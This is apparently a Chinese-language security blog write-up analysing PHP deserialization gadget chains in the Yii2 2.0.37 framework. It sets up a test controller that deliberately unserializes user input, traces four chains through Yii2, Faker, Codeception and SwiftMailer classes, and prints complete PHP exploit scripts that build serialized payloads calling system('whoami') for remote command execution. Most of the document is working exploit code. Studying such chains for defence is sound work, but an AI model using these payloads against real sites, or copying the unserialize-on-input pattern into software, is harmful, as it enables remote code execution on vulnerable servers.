环境配置
安装:在 https://github.com/yiisoft/yii2/releases 下载2.0.37
的版本
一开始就报了这个错误
查了资料才知道要给 yii-basic-app-2.0.37\basic\config\web.php
中的cookieValidationKey
赋值,内容随意。
运行成功
新建控制器controllers\TestController.php
,参数
1 2 3 4 5 6 7 8 9
| <?php namespace app\controllers; use yii\web\Controller;
class TestController extends Controller{ public function actionTest($name){ return unserialize($name); } }
|
漏洞分析
利用链一
/vendor/yiisoft/yii2/db/BatchQueryResult.php
存在__destruct()
/vendor/yiisoft/yii2/db/BatchQueryResult.php
调用了不存在的方法close()
,可以触发__call
/vendor/fzaninotto/faker/src/Faker/Generator.php
调用format()
/vendor/fzaninotto/faker/src/Faker/Generator.php
这里调用了call_user_func_array
,执行的函数名来自于$this->getFormatter($formatter)
/vendor/fzaninotto/faker/src/Faker/Generator.php
只要给$this->formatters[$formatters]
赋值函数名即可,这里的$formatter
是调用的不存在方法名,也就是close
到这里只能控制函数名,不能控制函数参数,先执行一下phpinfo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php
namespace Faker{ class Generator{ protected $formatters=array(); public function __construct($formatters) { $this->formatters=$formatters; } } }
namespace yii\db{ class BatchQueryResult { private $_dataReader; public function __construct($_dataReader) { $this->_dataReader=$_dataReader; }
} }
namespace {
$a=new Faker\Generator(array('close'=>'phpinfo')); $b=new yii\db\BatchQueryResult($a); echo urlencode(serialize($b)); }
|
执行成功
现在还存在一个问题,我们只能控制函数名,函数参数不可控。这里可以尝试利用call_user_func_array调用其他类的方法,传入call_user_func_array([类=>方法],array())
即可,这里要调用IndexAction.php
的run
就传入array(IndexAction类实例,'run')
下面是两个可利用的方法,函数名和参数都为属性,可以执行命令
/vendor/yiisoft/yii2/rest/IndexAction.php
/vendor/yiisoft/yii2/rest/CreateAction.php
修改exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php
namespace Faker{ class Generator{ protected $formatters=array(); public function __construct($formatters) { $this->formatters=$formatters; } } }
namespace yii\db{ class BatchQueryResult { private $_dataReader; public function __construct($_dataReader) { $this->_dataReader=$_dataReader; }
} }
namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct() { $this->checkAccess='system'; $this->id='whoami'; } } }
namespace { $c=new \yii\rest\IndexAction(); $a=new Faker\Generator(array('close'=>array($c,'run'))); $b=new yii\db\BatchQueryResult($a); echo urlencode(serialize($b)); }
|
可以执行命令
利用链二
/vendor/yiisoft/yii2/db/BatchQueryResult.php
还是同一个起点,但是这次是利用close()
而不是__call()
/vendor/yiisoft/yii2/db/BatchQueryResult.php
调用close()
可用的close()
/vendor/yiisoft/yii2/web/DbSession.php
调用了composeFields()
/vendor/yiisoft/yii2/web/MultiFieldSession.php
这里出现了call_user_func,让$this->writeCallback
等于array(IndexAction类实例,'run')
就可以直接调用run
执行命令了
构造exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php
namespace yii\db{ class BatchQueryResult{ private $_dataReader; public function __construct($_dataReader) { $this->_dataReader=$_dataReader; } } }
namespace yii\web{ class DbSession{ public $writeCallback; public function __construct($writeCallback) { $this->writeCallback=$writeCallback; } } }
namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct() { $this->checkAccess='system'; $this->id='whoami'; } } } namespace {
$c=new \yii\rest\IndexAction(); $b=new yii\web\DbSession(array($c,'run')); $a=new yii\db\BatchQueryResult($b); echo urlencode(serialize($a));
}
|
成功执行
利用链三
/vendor/codeception/codeception/ext/RunProcess.php
存在__destruct()
,调用stopProcess
/vendor/codeception/codeception/ext/RunProcess.php
$this->processes->isRunning
调用不存在的方法触发__call
,接下来就跟上面一样了
构造exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <?php
namespace Codeception\Extension{ class RunProcess{ private $processes = array(); public function __construct($processes) { $this->processes=$processes; } } }
namespace Faker{ class Generator{ protected $formatters=array(); public function __construct($formatters) { $this->formatters=$formatters; } } }
namespace yii\db{ class BatchQueryResult { private $_dataReader; public function __construct($_dataReader) { $this->_dataReader=$_dataReader; }
} }
namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct() { $this->checkAccess='system'; $this->id='whoami'; } } }
namespace { $c=new \yii\rest\IndexAction(); $a=new Faker\Generator(array('isRunning'=>array($c,'run')));
$b=new Codeception\Extension\RunProcess(array('add'=>$a)); echo urlencode(serialize($b)); }
|
利用链四
/vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php
存在__destruct()
,但需要先为$this->keys
赋值才能进入循环触发clearAll
/vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php
clearAll()
中存在拼接字符串操作,触发__toString()
查找到可利用的__toString
,调用了不存在的方法,再次触发__call
,回到原来的利用链
构造exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <?php
namespace{ //__destruct class Swift_KeyCache_DiskKeyCache { private $path; private $keys = []; public function __construct($path) { $this->path=$path; $this->keys=['a'=>'a']; } } }
namespace Codeception\Util{ //__toString class XmlBuilder { protected $__dom__; public function __construct($__dom__) { $this->__dom__=$__dom__; } } }
namespace Faker{ //__call class Generator{ protected $formatters=array(); public function __construct($formatters) { $this->formatters=$formatters; } } }
namespace yii\rest{ //run class IndexAction{ public $checkAccess; public $id; public function __construct() { $this->checkAccess='system'; $this->id='whoami'; } } }
namespace {
$c=new \yii\rest\IndexAction(); $a=new Faker\Generator(array('saveXML'=>array($c,'run'))); $x=new Codeception\Util\XmlBuilder($a); $aa=new Swift_KeyCache_DiskKeyCache($x); echo urlencode(serialize($aa)); }
|
成功执行
总结
这几条利用链大同小异,主要都是利用Generator.php中的__call()
和IndexAction.php中的run()
利用链一
- BatchQueryResult.php中
__destruct()
- BatchQueryResult.ph中的
reset()
- Generator.php中的
__call()
- Generator.php中的
format()
- Generator.php中的
call_user_func_array($this->getFormatter($formatter), $arguments);
- IndexAction.php中的
run()
利用链二
- BatchQueryResult.php中
__destruct()
- BatchQueryResult.ph中的
reset()
- DbSession.php中的
close()
`
- MultiFieldsSession.php中的
composeFields()
调用call_user_func
- IndexAction.php中的
run()
利用链三
- RunProcess.php中的
__destruct()
- RunProcess.php中的
stopProcess()
- Generator.php中的
__call()
- Generator.php中的
format()
- Generator.php中的
call_user_func_array($this->getFormatter($formatter), $arguments);
- IndexAction.php中的
run()
利用链四
- DiskeyCache.php中的
__destruct()
- DiskeyCache.php中的
clearAll()
触发__toString()
- XmlBuilder.php中的
__toString()
方法触发__call()
- Generator.php中的
__call()
- Generator.php中的
format()
- Generator.php中的
call_user_func_array($this->getFormatter($formatter), $arguments);
- IndexAction.php中的
run()
参考链接
https://www.secpulse.com/archives/161161.html